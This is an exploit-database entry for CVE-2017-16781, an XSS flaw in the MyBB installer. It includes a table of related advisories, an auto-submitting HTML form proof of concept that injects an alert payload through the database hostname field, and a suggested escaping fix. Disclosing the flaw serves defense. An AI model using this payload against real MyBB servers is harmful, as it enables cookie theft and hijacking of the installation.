| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| MyBB 1.8.13 - Cross-Site Scripting Vulnerability | 21 Nov 201700:00 | – | zdt | |
| CVE-2017-16781 | 11 Nov 201700:00 | – | circl | |
| MyBB installer cross-site scripting vulnerability | 13 Nov 201700:00 | – | cnvd | |
| CVE-2017-16781 | 10 Nov 201723:00 | – | cve | |
| CVE-2017-16781 | 10 Nov 201723:00 | – | cvelist | |
| EUVD-2017-7960 | 7 Oct 202500:30 | – | euvd | |
| MyBB 1.8.13 - Cross-Site Scripting | 11 Nov 201700:00 | – | exploitpack | |
| CVE-2017-16781 | 10 Nov 201723:29 | – | nvd | |
| MyBB < 1.8.13 Multiple Vulnerabilities | 13 Nov 201700:00 | – | openvas | |
| CVE-2017-16781 | 10 Nov 201723:29 | – | osv |
# Exploit Title: XSS in MyBB up to 1.8.13 via installer
# Date: Found on 05-29-2017
# Exploit Author: Pablo Sacristan
# Vendor Homepage: https://mybb.com/
# Version: Version > 1.8.13 (Fixed in 1.8.13)
# CVE : CVE-2017-16781
No HTML escaping when returning an $error in /install/index.php can
lead to an XSS which can be used to take over an attacker account.
The vulnerability occurs in /install/index.php:2503 and occurs because
there is no html encoding of the $error. A simple way to exploit this
is to create an error by using the Database Server Hostname and
inserting HTML characters there.
It is a POST XSS and this is a PoC:
<form name="x" action="http://target.com/install/index.php" method="post">
<input type="hidden" name='dbengine' value="mysqli">
<input type="hidden" name='config[mysqli][dbhost]' value="<img src=x onerror=alert(0)>">
<input type="hidden" name='config[mysqli][dbuser]' value="lol">
<input type="hidden" name='config[mysqli][dbpass]' value="lol">
<input type="hidden" name='config[mysqli][dbname]' value="lol">
<input type="hidden" name='config[mysqli][tableprefix]' value="lol">
<input type="hidden" name='config[mysqli][encoding]' value="utf8">
<input type="hidden" name='config[mysql][dbhost]' value="localhost">
<input type="hidden" name='action' value="create_tables">
</form>
<script>document.x.submit();</script>
Using this attack you can steal the cookies and you can install the MyBB server as you want, giving you almost full control over the MyBB server.
A simple fix would be to change the function error_list($array) to:
function error_list($array)
{
$string = "<ul>\n";
foreach($array as $error)
{
$string .= "<li>";
$string .= htmlspecialchars($error);
$string .= "</li>";
}
$string .= "</ul>\n";
return $string;
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation